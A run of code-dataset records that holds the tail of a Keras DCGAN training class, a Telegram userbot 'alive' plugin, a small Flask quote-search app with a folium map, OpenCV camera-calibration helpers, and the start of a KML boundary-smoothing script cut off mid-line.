self.image_shape[1] * self.progress_image_dim[0], self.image_channels)).astype(np.float32)\n\n cnt = 0\n for i in range(self.progress_image_dim[1]):\n for j in range(self.progress_image_dim[0]):\n if self.image_channels == 3:\n final_image[self.image_shape[0] * i:self.image_shape[0] * (i + 1), self.image_shape[1] * j:self.image_shape[1] * (j + 1), :] = gen_imgs[cnt]\n else:\n final_image[self.image_shape[0] * i:self.image_shape[0] * (i + 1), self.image_shape[1] * j:self.image_shape[1] * (j + 1), 0] = gen_imgs[cnt, :, :, 0]\n cnt += 1\n final_image = cv.cvtColor(final_image, cv.COLOR_RGB2BGR)\n\n if save_raw_progress_images:\n cv.imwrite(f\"{self.training_progress_save_path}/progress_images/{self.episode_counter}.png\", final_image)\n self.tensorboard.write_image(np.reshape(cv.cvtColor(final_image, cv.COLOR_BGR2RGB) / 255, (-1, final_image.shape[0], final_image.shape[1], final_image.shape[2])).astype(np.float32))\n\n def save_models_structure_images(self):\n save_path = self.training_progress_save_path + \"/model_structures\"\n if not os.path.exists(save_path): os.makedirs(save_path)\n plot_model(self.combined_generator_model, os.path.join(save_path, \"combined.png\"), expand_nested=True, show_shapes=True)\n plot_model(self.generator, os.path.join(save_path, \"generator.png\"), expand_nested=True, show_shapes=True)\n plot_model(self.discriminator, os.path.join(save_path, \"discriminator.png\"), expand_nested=True, show_shapes=True)\n\n def load_checkpoint(self):\n checkpoint_base_path = os.path.join(self.training_progress_save_path, \"checkpoint\")\n if not os.path.exists(os.path.join(checkpoint_base_path, \"checkpoint_data.json\")): return None, None\n\n with open(os.path.join(checkpoint_base_path, \"checkpoint_data.json\"), \"rb\") as f:\n data = json.load(f)\n\n if data:\n self.episode_counter = int(data[\"episode\"])\n if data[\"disc_label_noise\"]:\n self.discriminator_label_noise = float(data[\"disc_label_noise\"])\n self.initiated = True\n return data[\"gen_path\"], data[\"disc_path\"]\n return None, None\n\n def save_checkpoint(self):\n checkpoint_base_path = os.path.join(self.training_progress_save_path, \"checkpoint\")\n if not os.path.exists(checkpoint_base_path): os.makedirs(checkpoint_base_path)\n\n gen_path = f\"{checkpoint_base_path}/generator_{self.gen_mod_name}.h5\"\n disc_path = f\"{checkpoint_base_path}/discriminator_{self.disc_mod_name}.h5\"\n\n if os.path.exists(gen_path): os.rename(gen_path, f\"{checkpoint_base_path}/generator_{self.gen_mod_name}.h5.lock\")\n if os.path.exists(disc_path): os.rename(disc_path, f\"{checkpoint_base_path}/discriminator_{self.disc_mod_name}.h5.lock\")\n\n self.generator.save_weights(gen_path)\n self.discriminator.save_weights(disc_path)\n\n if os.path.exists(f\"{checkpoint_base_path}/generator_{self.gen_mod_name}.h5.lock\"): os.remove(f\"{checkpoint_base_path}/generator_{self.gen_mod_name}.h5.lock\")\n if os.path.exists(f\"{checkpoint_base_path}/discriminator_{self.disc_mod_name}.h5.lock\"): os.remove(f\"{checkpoint_base_path}/discriminator_{self.disc_mod_name}.h5.lock\")\n\n data = {\n \"episode\": self.episode_counter,\n \"gen_path\": gen_path,\n \"disc_path\": disc_path,\n \"disc_label_noise\": self.discriminator_label_noise\n }\n\n with open(os.path.join(checkpoint_base_path, \"checkpoint_data.json\"), \"w\", encoding='utf-8') as f:\n json.dump(data, f)\n\n def __save_weights(self):\n save_dir = self.training_progress_save_path + \"/weights/\" + str(self.episode_counter)\n if not os.path.exists(save_dir): os.makedirs(save_dir)\n self.generator.save_weights(f\"{save_dir}/generator_{self.gen_mod_name}.h5\")\n self.discriminator.save_weights(f\"{save_dir}/discriminator_{self.disc_mod_name}.h5\")\n\n def make_progress_gif(self, frame_duration:int=16):\n if not os.path.exists(self.training_progress_save_path): os.makedirs(self.training_progress_save_path)\n if not os.path.exists(self.training_progress_save_path + \"/progress_images\"): return\n\n frames = []\n img_file_names = os.listdir(self.training_progress_save_path + \"/progress_images\")\n\n for im_file in img_file_names:\n if os.path.isfile(self.training_progress_save_path + \"/progress_images/\" + im_file):\n frames.append(Image.open(self.training_progress_save_path + \"/progress_images/\" + im_file))\n\n if len(frames) > 2:\n frames[0].save(f\"{self.training_progress_save_path}/progress_gif.gif\", format=\"GIF\", append_images=frames[1:], save_all=True, optimize=False, duration=frame_duration, loop=0)", "sub_path": "modules/gans/dcgan.py", "file_name": "dcgan.py", "file_ext": "py", "file_size_in_byte": 23172, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.optimizers.Optimizer", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 41, "usage_type": "name"}, {"api_name": "keras.optimizers.Adam", "line_number": 38, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 50, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 50, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 50, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 53, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 53, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "keras_extensions.custom_tensorboard.TensorBoardCustom", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils.helpers.get_paths_of_files_from_path", "line_number": 70, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 71, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 71, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 71, "usage_type": "attribute"}, {"api_name": "utils.helpers.get_paths_of_files_from_path", "line_number": 75, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 76, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 76, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.cv2.imread", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 79, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 92, "usage_type": "call"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 94, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 94, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 98, "usage_type": "attribute"}, {"api_name": "keras.initializers.RandomNormal", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.batch_maker.BatchMaker", "line_number": 109, "usage_type": "call"}, {"api_name": "utils.batch_maker.BatchMaker", "line_number": 113, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 131, "usage_type": "call"}, {"api_name": "keras.engine.network.Network", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 143, "usage_type": "call"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 158, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 158, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 158, "usage_type": "attribute"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 163, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 163, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 163, "usage_type": "attribute"}, {"api_name": "keras.backend.gradients", "line_number": 171, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 171, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 172, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 172, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 172, "usage_type": "call"}, {"api_name": "keras.backend.sqrt", "line_number": 173, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 173, "usage_type": "name"}, {"api_name": "keras.backend.function", "line_number": 175, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 175, "usage_type": "name"}, {"api_name": "imagesize.get", "line_number": 181, "usage_type": "call"}, {"api_name": "colorama.Fore.BLUE", "line_number": 186, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 186, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 186, "usage_type": "attribute"}, {"api_name": "multiprocessing.pool.ThreadPool", "line_number": 187, "usage_type": "call"}, {"api_name": "colorama.Fore.BLUE", "line_number": 195, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 195, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 195, "usage_type": "attribute"}, {"api_name": "keras.layers.Input", "line_number": 199, "usage_type": "call"}, {"api_name": "models.generator_models_spreadsheet", "line_number": 202, "usage_type": "argument"}, {"api_name": "keras.models.Model", "line_number": 206, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 210, "usage_type": "call"}, {"api_name": "models.discriminator_models_spreadsheet", "line_number": 213, "usage_type": "argument"}, {"api_name": "keras.layers.Dense", "line_number": 218, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 229, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 230, "usage_type": "call"}, {"api_name": "random.random", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 240, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 240, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 241, "usage_type": "call"}, {"api_name": "random.random", "line_number": 243, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 244, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 248, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 248, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 248, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 250, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 250, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 250, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 252, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 252, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 252, "usage_type": "attribute"}, {"api_name": "colorama.Fore.CYAN", "line_number": 257, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 257, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 257, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 261, "usage_type": "call"}, {"api_name": "os.path", "line_number": 261, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 262, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 265, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 268, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 276, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 276, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 276, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 285, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 289, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 294, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 296, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 301, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 318, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 322, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 340, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 340, "usage_type": "name"}, {"api_name": "utils.helpers.time_to_format", "line_number": 340, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 340, "usage_type": "call"}, {"api_name": "colorama.Fore.RESET", "line_number": 340, "usage_type": "attribute"}, {"api_name": "colorama.Fore.BLUE", "line_number": 353, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 353, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 353, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 357, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 361, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 365, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 365, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 366, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 366, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 369, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 369, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 370, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 370, "usage_type": "name"}, {"api_name": "colorama.Fore.BLUE", "line_number": 373, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 373, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 373, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 376, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 377, "usage_type": "call"}, {"api_name": "time.time", "line_number": 379, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 382, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 382, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 382, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 389, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 389, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 389, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 393, "usage_type": "call"}, {"api_name": "os.path", "line_number": 393, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 399, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 399, "usage_type": "attribute"}, {"api_name": "cv2.cv2.cvtColor", "line_number": 409, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 409, "usage_type": "name"}, {"api_name": "cv2.cv2.COLOR_RGB2BGR", "line_number": 409, "usage_type": "attribute"}, {"api_name": "cv2.cv2.imwrite", "line_number": 412, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 412, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 413, "usage_type": "call"}, {"api_name": "cv2.cv2.cvtColor", "line_number": 413, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 413, "usage_type": "name"}, {"api_name": "cv2.cv2.COLOR_BGR2RGB", "line_number": 413, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 413, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 417, "usage_type": "call"}, {"api_name": "os.path", "line_number": 417, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 417, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path", "line_number": 418, "usage_type": "attribute"}, {"api_name": "keras.utils.plot_model", "line_number": 419, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 419, "usage_type": "call"}, {"api_name": "os.path", "line_number": 419, "usage_type": "attribute"}, {"api_name": "keras.utils.plot_model", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path", "line_number": 420, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 423, "usage_type": "call"}, {"api_name": "os.path", "line_number": 423, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 424, "usage_type": "call"}, {"api_name": "os.path", "line_number": 424, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 424, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 426, "usage_type": "call"}, {"api_name": "os.path", "line_number": 426, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 427, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 438, "usage_type": "call"}, {"api_name": "os.path", "line_number": 438, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path", "line_number": 439, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 444, "usage_type": "call"}, {"api_name": "os.path", "line_number": 444, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 444, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 445, "usage_type": "call"}, {"api_name": "os.path", "line_number": 445, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 445, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 450, "usage_type": "call"}, {"api_name": "os.path", "line_number": 450, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 450, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path", "line_number": 451, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 460, "usage_type": "call"}, {"api_name": "os.path", "line_number": 460, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 461, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path", "line_number": 465, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 470, "usage_type": "call"}, {"api_name": "os.path", "line_number": 470, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 470, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 471, "usage_type": "call"}, {"api_name": "os.path", "line_number": 471, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 474, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path", "line_number": 477, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 478, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 478, "usage_type": "name"}]} {"seq_id": "340990569", "text": "\"\"\".alive Plugin for @UniBorg\"\"\"\nimport asyncio\nfrom telethon import events\nfrom telethon.tl.types import ChannelParticipantsAdmins\nfrom uniborg.util import admin_cmd\n\n\n@borg.on(admin_cmd(pattern=\"alive\"))\nasync def _(event):\n if event.fwd_from:\n return\n mentions = \"`AƁƐƳ SAALƐ!╰(°ㅂ°)╯Ƶιη∂α нυ мαι! Mααƒ кαяηα gυѕѕє мє ι∂нαя υ∂нαя ηιкαℓ נαтα нυ..\\n\\nƬєℓєтнση νєяѕιση:69.69\\nƤутнση:6.9\\nƤєяυ Uѕєя:`[█▬█ █ ▀█▀](tg://user?id=705627922) \\n`Ɓσт Ƈяєαтσя:`@CallMe_HIT\\n\\n`Sєχвαѕє Sтαтυѕ:Ƭєℓєgяαм ѕєχвαѕєѕ ƒυηcтισηιηg ησямαℓℓу!\\n\\nI am ꔠ༏ⲧᏰ❍ⲧ swagat toh karo hamara...`\\n\\n**Ƈαℓℓ Jσнηηу Sιηѕ тσ ∂єρℓσу тнιѕ υѕєявσт ησω:**+916969696969\"\n chat = await event.get_input_chat()\n async for x in borg.iter_participants(chat, filter=ChannelParticipantsAdmins):\n mentions += f\"\"\n reply_message = None\n if event.reply_to_msg_id:\n reply_message = await event.get_reply_message()\n await reply_message.reply(mentions)\n else:\n await event.reply(mentions)\n await event.delete()\n", "sub_path": "stdplugins/alive.py", "file_name": "alive.py", "file_ext": "py", "file_size_in_byte": 1225, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "telethon.tl.types.ChannelParticipantsAdmins", "line_number": 14, "usage_type": "name"}, {"api_name": "uniborg.util.admin_cmd", "line_number": 8, "usage_type": "call"}]} {"seq_id": "150440745", "text": "from flask import Flask, render_template, request, redirect\nimport sqlite3\nfrom flask.helpers import url_for\nimport folium\nfrom flask_paginate import Pagination, get_page_parameter\n\napp = Flask(__name__)\n\n\n\n@app.route('/')\ndef base():\n conn = sqlite3.connect('quotes.db')\n conn.row_factory = sqlite3.Row\n cur = conn.cursor()\n cur.execute(\"select * from webdata\")\n datas = cur.fetchall();\n conn.close()\n return render_template('index.html', datas = datas)\n\n@app.route('/folium')\ndef maps():\n start_coords = (42, 43)\n folium_map = folium.Map(location=start_coords, zoom_start=8)\n folium_map.save('templates/folmap.html')\n return render_template('maps.html')\n\n@app.route('/', methods=['GET', 'POST'])\ndef search():\n a = request.form['search-input']\n conn = sqlite3.connect('quotes.db')\n conn.row_factory = sqlite3.Row\n cur = conn.cursor()\n cur.execute(\"select * from webdata where content=? or name=?\", (a,a))\n datas = cur.fetchall();\n conn.close()\n return render_template(\"search.html\", datas = datas)\n\n\"\"\"@app.route('/', methods=['GET', 'POST'])\ndef query_search():\n a = request.form['search-input']\n return redirect(url_for(\"search\"), a=a)\"\"\"\n\n\nif __name__== '__main__':\n app.run(debug=True)", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1257, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 37, "usage_type": "call"}]} {"seq_id": "537252726", "text": "import numpy as np\nimport cv2\nimport pickle\nimport pprint\n\nimport os\nimport sys\n\nthis_path = os.path.dirname(__file__)\n\ndef outputter(file_name, val):\n path = this_path+'/temp/'+file_name\n with open(path, 'wb') as f:\n pickle.dump(val, f, protocol=2)\n print('outputted file to ' + path)\n\ndef opener(file_path, message):\n try:\n with open(this_path+'/temp/'+file_path, 'rb') as f:\n data = pickle.load(f)\n pprint.pprint(data)\n except IOError:\n print(message)\n exit()\n return data\n\ndef getCameraMatrix():\n return opener('camera_matrix', 'Camera matrix not fonud. Please run `calibration/realtimeCalibrate.py` or `realtimeCalibrate_wide.py` before.')\n\ndef getStereoMatrix():\n return opener('stereo_matrices', 'stereo_matrices not found. Please run `calibration/stereoCalibrate_wide.py` before.')\n\ndef getStereoRect():\n return opener('stereo_rect', 'oops!')\n\ndef getStereoMap():\n return opener('stereo_map', 'ooops!')\n\ndef getUndistortedImage(image, cam_mtx, mode=0):\n h, w = image.shape[:2]\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(cam_mtx['mtx'], cam_mtx['dist'], (w,h), mode, (w,h))\n mapx, mapy = cv2.initUndistortRectifyMap(cam_mtx['mtx'], cam_mtx['dist'], None, newcameramtx, (w,h), 5)\n dst = cv2.remap(image, mapx, mapy, cv2.INTER_LINEAR)\n\n x, y, w, h = roi\n dst = dst[y:y+h, x:x+w]\n return dst\n\ndef getUndistortedImage_wide(image, cam_mtx):\n h, w = image.shape[:2]\n map1, map2 = cv2.fisheye.initUndistortRectifyMap(cam_mtx['mtx'], cam_mtx['dist'], np.eye(3), cam_mtx['mtx'], (w,h), cv2.CV_16SC2)\n undistorted_img = cv2.remap(image, map1, map2, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n return undistorted_img\n\n# restration removed pixels by remap\ndef getUndistortedImage_wide_fixed(image, cam_mtx):\n balance = 0.8 # 1 is full\n h, w = image.shape[:2]\n K = cam_mtx['mtx']\n D = cam_mtx['dist']\n dim1 = (w, h)\n assert dim1[0]/dim1[1]\n\n dim2 = dim1\n dim3 = dim1\n\n scaled_K = K * dim1[0] / h\n scaled_K[2][2] = 1.0 # Except that K[2][2] is always 1.0\n\n new_K = cv2.fisheye.estimateNewCameraMatrixForUndistortRectify(scaled_K, D, dim2, np.eye(3), balance=balance)\n map1, map2 = cv2.fisheye.initUndistortRectifyMap(scaled_K, D, np.eye(3), new_K, dim3, cv2.CV_16SC2)\n undistorted_img = cv2.remap(image, map1, map2, interpolation=cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n\n return undistorted_img", "sub_path": "production/master/calibration/src/calibration/calibrated.py", "file_name": "calibrated.py", "file_ext": "py", "file_size_in_byte": 2481, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 14, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 20, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.getOptimalNewCameraMatrix", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.initUndistortRectifyMap", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.remap", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.fisheye.initUndistortRectifyMap", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.fisheye", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.CV_16SC2", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.remap", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 52, "usage_type": "attribute"}, {"api_name": "cv2.fisheye.estimateNewCameraMatrixForUndistortRectify", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.fisheye", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.fisheye.initUndistortRectifyMap", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.fisheye", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.CV_16SC2", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cv2.remap", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 72, "usage_type": "attribute"}]} {"seq_id": "286623044", "text": "\"\"\"\nProgram that smooths boundary data\nAuthor: Noah Gaeta\n\"\"\"\nimport re\nimport numpy\nfrom pykml import parser\nimport matplotlib.pyplot as plt\n\nREGION_FILE_PATH = './region.kml'\nSAVE_PATH = './region_no_outliers.kml' # lets not over write the file just in case\n\n\ndef main():\n coordinates = get_coordinates_kml_file(REGION_FILE_PATH)\n plot_coordinates(coordinates) # plot original values\n coordinates = remove_outliers(coordinates)\n plot_coordinates(coordinates) # plot values after removal of outliers\n save_coordinates_kml_file(REGION_FILE_PATH, SAVE_PATH, coordinates)\n print(\"New kml file saved to: \", SAVE_PATH)\n return 0\n\n\ndef get_kml_etree(file_path):\n \"\"\" Generate element tree from kml file \"\"\"\n with open(file_path) as file:\n return parser.parse(file)\n\n\ndef get_coordinates_kml_file(file_path):\n \"\"\" Gets coordinates from kml file \"\"\"\n root = get_kml_etree(file_path).getroot()\n coordinates = str(root.Document.Placemark.Polygon.outerBoundaryIs.LinearRing.coordinates) # get coordinates from kml\n coordinates = re.sub(r',0', '', coordinates) # get rid 0's we don't need them\n coordinates = coordinates.split() # split string by space\n # split each string in coordinates list by ',' then convert each element in said list to floating point number\n return numpy.array(list(map(lambda cords: list(map(lambda cord: float(cord), cords.split(','))), coordinates)))\n\n\ndef save_coordinates_kml_file(load_path, save_path, coordinates):\n \"\"\" Save modified kml file \"\"\"\n etree = 